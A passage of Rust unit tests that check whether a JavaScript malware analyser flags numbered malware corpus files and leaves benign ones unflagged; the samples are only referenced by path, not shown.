fn test_js_hard_batch14_benign_84() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_84.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_84.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_84");
}

#[test]
fn test_js_hard_batch14_malware_85() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_85.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_85.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_85");
}

#[test]
fn test_js_hard_batch14_benign_85() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_85.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_85.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_85");
}

#[test]
fn test_js_hard_batch14_malware_86() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_86.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_86.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_86");
}

#[test]
fn test_js_hard_batch14_benign_86() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_86.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_86.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_86");
}

#[test]
fn test_js_hard_batch14_malware_87() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_87.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_87.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_87");
}

#[test]
fn test_js_hard_batch14_benign_87() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_87.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_87.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_87");
}

#[test]
fn test_js_hard_batch14_malware_88() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_88.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_88.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_88");
}

#[test]
fn test_js_hard_batch14_benign_88() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_88.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_88.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_88");
}

#[test]
fn test_js_hard_batch14_malware_89() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_89.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_89.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_89");
}

#[test]
fn test_js_hard_batch14_benign_89() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_89.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_89.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_89");
}

#[test]
fn test_js_hard_batch14_malware_90() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_90.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_90.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_90");
}

#[test]
fn test_js_hard_batch14_benign_90() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_90.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_90.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_90");
}

#[test]
fn test_js_hard_batch14_malware_91() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_91.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_91.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_91");
}

#[test]
fn test_js_hard_batch14_benign_91() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_91.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_91.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_91");
}

#[test]
fn test_js_hard_batch14_malware_92() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_92.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_92.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_92");
}

#[test]
fn test_js_hard_batch14_benign_92() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_92.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_92.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_92");
}

#[test]
fn test_js_hard_batch14_malware_93() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_93.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_93.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_93");
}

#[test]
fn test_js_hard_batch14_benign_93() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_93.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_93.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_93");
}

#[test]
fn test_js_hard_batch14_malware_94() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_94.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_94.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_94");
}

#[test]
fn test_js_hard_batch14_benign_94() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_94.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_94.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_94");
}

#[test]
fn test_js_hard_batch14_malware_95() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_95.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_95.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_95");
}

#[test]
fn test_js_hard_batch14_benign_95() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_95.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_95.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_95");
}

#[test]
fn test_js_hard_batch14_malware_96() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_96.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_96.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_96");
}

#[test]
fn test_js_hard_batch14_benign_96() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_96.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_96.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_96");
}

#[test]
fn test_js_hard_batch14_malware_97() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_97.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_97.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_97");
}

#[test]
fn test_js_hard_batch14_benign_97() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_97.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_97.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_97");
}

#[test]
fn test_js_hard_batch14_malware_98() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_98.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_98.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_98");
}

#[test]
fn test_js_hard_batch14_benign_98() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_98.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_98.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_98");
}

#[test]
fn test_js_hard_batch14_malware_99() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_99.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_99.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_99");
}

#[test]
fn test_js_hard_batch14_benign_99() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_99.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_99.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_99");
}